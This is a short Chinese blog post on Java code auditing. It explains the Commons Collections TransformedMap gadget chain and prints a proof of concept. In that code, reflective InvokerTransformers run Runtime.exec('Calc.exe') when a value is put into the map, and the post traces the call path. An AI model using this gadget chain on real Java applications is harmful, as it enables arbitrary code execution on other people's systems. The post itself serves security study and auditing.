Java代码审计——Commons Collections TransformedMap调用链
2021/11/5 17:13:25
本文主要是介绍Java代码审计——Commons Collections TransformedMap调用链,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
0x00 前言
CC链最基础的就是迭代链:Java代码审计——Commons Collections 迭代调用链,核心就是 ChainedTransformer的Transformer方法。那么TransformedMap就是可以调用此方法的一条链。
0x01 TransformedMap调用链
在CC包中, 有TransformedMap这样一个类,他在进行put,checkSetValue等方法时,可以触发transform方法,如下图所示。
1. 先上poc:
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("zeo", "666");
可以看到这里我们手工触发,先使用decorate进行赋值,然后使用put进行触发。
跟一下put触发过程:
- TransformedMap.put:
- TransformedMap.transformValue
- ChainedTransformer.transform
- 迭代链
- InvokerTransformertransform
- …
2.总结
TransformedMap链实际上就类似于一个加强形的一个map
0x03 使用条件
- 除最新版本无限制
这篇关于Java代码审计——Commons Collections TransformedMap调用链的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-09-28AI给的和自己写的Python代码,都无法改变输入框的内容,替换也不行
- 2024-09-27Sentinel配置限流资料:新手入门教程
- 2024-09-27Sentinel配置限流资料详解
- 2024-09-27Sentinel限流资料:新手入门教程
- 2024-09-26Sentinel限流资料入门详解
- 2024-09-26Springboot框架资料:初学者入门教程
- 2024-09-26Springboot框架资料详解:新手入门教程
- 2024-09-26Springboot企业级开发资料:新手入门指南
- 2024-09-26SpringBoot企业级开发资料新手指南
- 2024-09-26Springboot微服务资料入门教程